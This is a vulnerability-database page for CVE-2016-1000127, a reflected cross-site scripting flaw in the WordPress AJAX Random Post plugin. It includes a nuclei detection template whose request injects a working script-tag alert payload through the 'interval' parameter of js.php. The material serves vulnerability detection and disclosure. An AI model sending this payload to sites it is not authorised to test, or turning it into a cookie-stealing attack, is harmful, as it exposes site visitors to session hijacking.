HexBrain

Browse / CVEs / CVE-2016-1000127

CVE-2016-1000127· ajax-random-post project / ajax-random-post· CWE-79

WordPress AJAX Random Post <=2.00 - Cross-Site Scripting

mediumseverity
6.1CVSS score
3.7%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it

WordPress AJAX Random Post 2.00 is vulnerable to reflected cross-site scripting.

Impact

This vulnerability allows an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update to the latest version of the WordPress AJAX Random Post plugin (2.00 or higher) to fix this issue.

How to confirm it

Send: GET /wp-content/plugins/ajax-random-post/readme.txt
Positive when: contains "Ajax Random Post"
Send: GET {{BaseURL}}/wp-content/plugins/ajax-random-post/js.php?interval=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2016-1000127 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2016-1000127

info:
  name: WordPress AJAX Random Post <=2.00 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress AJAX Random Post 2.00 is vulnerable to reflected cross-site scripting.
  impact: |
    This vulnerability allows an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress AJAX Random Post plugin (2.00 or higher) to fix this issue.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=494
    - https://wordpress.org/plugins/ajax-random-post
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000127
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000127
    cwe-id: CWE-79
    epss-score: 0.03718
    epss-percentile: 0.89875
    cpe: cpe:2.3:a:ajax-random-post_project:ajax-random-post:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "ajax-random-post_project"
    product: "ajax-random-post"
    framework: wordpress
  tags: cve2016,cve,wordpress,xss,wp-plugin,ajax-random-post_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/ajax-random-post/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Ajax Random Post'

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/ajax-random-post/js.php?interval=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from